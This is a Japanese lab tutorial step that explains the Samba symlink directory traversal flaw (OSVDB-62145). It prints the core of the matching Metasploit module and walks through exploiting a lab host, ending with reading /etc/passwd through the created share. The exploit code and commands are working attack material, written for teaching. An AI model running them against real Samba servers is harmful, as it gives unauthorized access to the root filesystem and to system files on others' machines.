Samba の脆弱性を分析する
このステップでは、Samba の脆弱性について学び、エクスプロイトモジュールのコアコードを分析します。
Samba は、UNIX 系オペレーティングシステムが Microsoft Windows で使用される SMB/CIFS(Server Message Block/Common Internet File System)ネットワークプロトコルと接続できるようにするフリーソフトウェアです。バージョン 3 では、SMB フォルダやプリンタのアクセスと共有が可能なだけでなく、ドメインコントローラとして Windows Server ドメインに統合したり、メンバーとして Active Directory に参加したりすることもできます。簡単に言えば、このソフトウェアは Windows と UNIX 系オペレーティングシステムの間のギャップを埋め、両者間のリソース共有を可能にします。
Samba は幅広い用途で使用されているため、Samba の脆弱性は大きな影響を与える可能性があります。Samba は、選択した Unix ディレクトリ(すべてのサブディレクトリを含む)のネットワーク共有を作成することができます。この機能により、Windows ユーザーは通常の Windows フォルダにアクセスするのと同じように、ネットワークを介してこれらの Unix ディレクトリにアクセスすることができます。
この実験で使用される脆弱性インデックスは次の通りです。
OSVDB - 62145
この実験で使用される samba モジュールのソースコードインデックスは次の通りです。
symlink_traversal.rb
コアコードの説明を見ていきましょう。
## Module initialization information, including author information and module introduction
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## Register option information
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## Main execution function
def run
## Function to connect to the server
print_status("Connecting to the server...")
connect()
smb_login()
## Connect to the target host
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## Attempt to enter the root filesystem
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## Print success message after successful entry
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
モジュールのコアコードを説明した後、MSF ターミナルで以下のコマンドを入力して実際のエクスプロイトを行いましょう。
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
ターゲットホストを設定します。
set RHOST 192.168.122.102
共有ディレクトリを選択します。
set SMBSHARE tmp
注意: この Samba の脆弱性の影響は、選択した Unix ディレクトリ(すべてのサブディレクトリを含む)のネットワーク共有を作成できることです。
必要なパラメータをすべて設定した後、脆弱性のエクスプロイトを進めることができます。
exploit
成功した場合、次のメッセージが表示されるはずです。
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
エクスプロイトが成功した後、exit
コマンドで終了し、ターミナルで smbclient
を使用して接続できるかテストします。パスワードを求められますが、何も入力せずに Enter を押すことができます。
exit
smbclient //192.168.122.102/tmp
接続したら、以下のコマンドを実行してルートファイルシステムへのアクセスを確認できます。
more rootfs/etc/passwd
次のような出力が表示されるはずです。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
これにより、脆弱性を正常に悪用し、作成したネットワーク共有を介してターゲットホストにアクセスできたことが確認されます。
Metasploit コンソールを終了するには Ctrl + D を押し、その後検査を開始します